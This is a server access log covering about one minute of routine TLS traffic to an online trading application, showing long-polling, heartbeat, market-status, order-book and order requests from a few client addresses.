[09/Jan/2026:13:50:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:13:50:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938134250 HTTP/1.1" -
[09/Jan/2026:13:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938128183 HTTP/1.1" -
[09/Jan/2026:13:51:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938127798 HTTP/1.1" -
[09/Jan/2026:13:51:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938145138 HTTP/1.1" -
[09/Jan/2026:13:51:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938139323 HTTP/1.1" -
[09/Jan/2026:13:51:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938133231 HTTP/1.1" -
[09/Jan/2026:13:51:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938132864 HTTP/1.1" -
[09/Jan/2026:13:51:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938150207 HTTP/1.1" -
[09/Jan/2026:13:51:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:51:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1211
[09/Jan/2026:13:51:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:51:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938144418 HTTP/1.1" -
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938138337 HTTP/1.1" -
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:51:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938137898 HTTP/1.1" -
[09/Jan/2026:13:51:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938155269 HTTP/1.1" -
[09/Jan/2026:13:51:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:51:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1836
[09/Jan/2026:13:51:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:13:51:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938149494 HTTP/1.1" -
[09/Jan/2026:13:51:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938143377 HTTP/1.1" -
[09/Jan/2026:13:51:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938160301 HTTP/1.1" -
[09/Jan/2026:13:51:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938142982 HTTP/1.1" -
[09/Jan/2026:13:51:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938154594 HTTP/1.1" -
[09/Jan/2026:13:51:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938148482 HTTP/1.1" -
[09/Jan/2026:13:51:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938165338 HTTP/1.1" -
[09/Jan/2026:13:51:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938148276 HTTP/1.1" -
[09/Jan/2026:13:51:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938159636 HTTP/1.1" -
[09/Jan/2026:13:51:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938153602 HTTP/1.1" -
[09/Jan/2026:13:51:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938170630 HTTP/1.1" -
[09/Jan/2026:13:51:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938153418 HTTP/1.1" -
[09/Jan/2026:13:51:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938164698 HTTP/1.1" -
[09/Jan/2026:13:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938158746 HTTP/1.1" -
[09/Jan/2026:13:51:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938175684 HTTP/1.1" -
[09/Jan/2026:13:51:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938158442 HTTP/1.1" -
[09/Jan/2026:13:51:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938169808 HTTP/1.1" -
[09/Jan/2026:13:51:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938163907 HTTP/1.1" -
[09/Jan/2026:13:51:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938180743 HTTP/1.1" -
[09/Jan/2026:13:51:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938163476 HTTP/1.1" -
[09/Jan/2026:13:51:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938174883 HTTP/1.1" -
[09/Jan/2026:13:51:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938168962 HTTP/1.1" -
[09/Jan/2026:13:51:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938185805 HTTP/1.1" -
[09/Jan/2026:13:51:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938168541 HTTP/1.1" -
[09/Jan/2026:13:51:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938179966 HTTP/1.1" -
[09/Jan/2026:13:51:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938174128 HTTP/1.1" -
[09/Jan/2026:13:51:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938190832 HTTP/1.1" -
[09/Jan/2026:13:51:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938173610 HTTP/1.1" -
[09/Jan/2026:13:51:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938185035 HTTP/1.1" -
[09/Jan/2026:13:51:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938179310 HTTP/1.1" -
[09/Jan/2026:13:51:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938195860 HTTP/1.1" -
[09/Jan/2026:13:51:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938178687 HTTP/1.1" -
[09/Jan/2026:13:51:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:51:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:51:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:51:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938190070 HTTP/1.1" -
[09/Jan/2026:13:51:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938184436 HTTP/1.1" -
[09/Jan/2026:13:51:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938200936 HTTP/1.1" -
[09/Jan/2026:13:51:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938183753 HTTP/1.1" -
[09/Jan/2026:13:51:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938195159 HTTP/1.1" -
